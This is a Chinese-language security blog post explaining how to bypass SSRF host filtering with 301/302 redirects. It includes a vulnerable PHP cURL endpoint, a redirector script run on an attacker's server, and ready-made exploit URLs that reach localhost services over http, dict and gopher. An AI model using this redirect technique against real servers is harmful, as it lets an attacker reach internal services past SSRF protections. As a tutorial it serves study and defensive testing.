偶尔走失,从未离开

本文将介绍SSRF过滤绕过的一种方法:302/301跳转绕过,并将介绍它们的局限性

302/301跳转绕过

30x跳转经常被用于绕过SSRF,当满足如下条件时,我们就可以使用该方法:

1.程序的合法性检验逻辑为:检查url参数的host是否为内网地址

2.使用的是cURL方法,并且CURLOPT_FOLLOWLOCATION为true(即跟随302/301进行跳转)

0x01 实例代码

服务器端代码:
ssrf.php

<?php                                                                                                                                                
function curl($url){                                                         
    $ch = curl_init();                                                       
    curl_setopt($ch, CURLOPT_URL, $url);                                     
    curl_setopt($ch, CURLOPT_HEADER, 0);                                     
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);                          
    curl_exec($ch);                                                          
    curl_close($ch);                                                         
}                                                                            
$url = $_GET['url'];                                                         
print $url;                                                                  
curl($url);

vps上的脚本:

<?php  
$schema = $_GET['schema'];
$ip     = $_GET['ip'];
$port   = $_GET['port'];
$query  = $_GET['query'];

echo "\n";
echo $schema . "://".$ip."/".$query;

if(empty($port)){  
    header("Location: $schema://$ip/$query");
} else {
    header("Location: $schema://$ip:$port/$query");
}

0x02 可利用的协议

http/https ok

dict ok

gopher ok

file no!

为什么302/301跳转不能跟随file协议呢,找了很久的原因终于在这里找到了解释:

详细见:https://curl.haxx.se/libcurl/c/CURLOPT_FOLLOWLOCATION.html

0x03 利用方法

  • http/https

http://198.181.40.180/ssrf.php?url=http://118.89.217.55/302.php?schema=http&ip=127.0.0.1&port=80

  • dict

http://198.181.40.180/ssrf.php?url=http://118.89.217.55/302.php?schema=dict&ip=127.0.0.1&port=29362&query=info

  • gopher

http://198.181.40.180/ssrf.php?url=http://118.89.217.55/302.php?schema=gopher&ip=127.0.0.1&port=2333&query=66666

 标签: ssrf, 302/301跳转

作者  :  watcher


添加新评论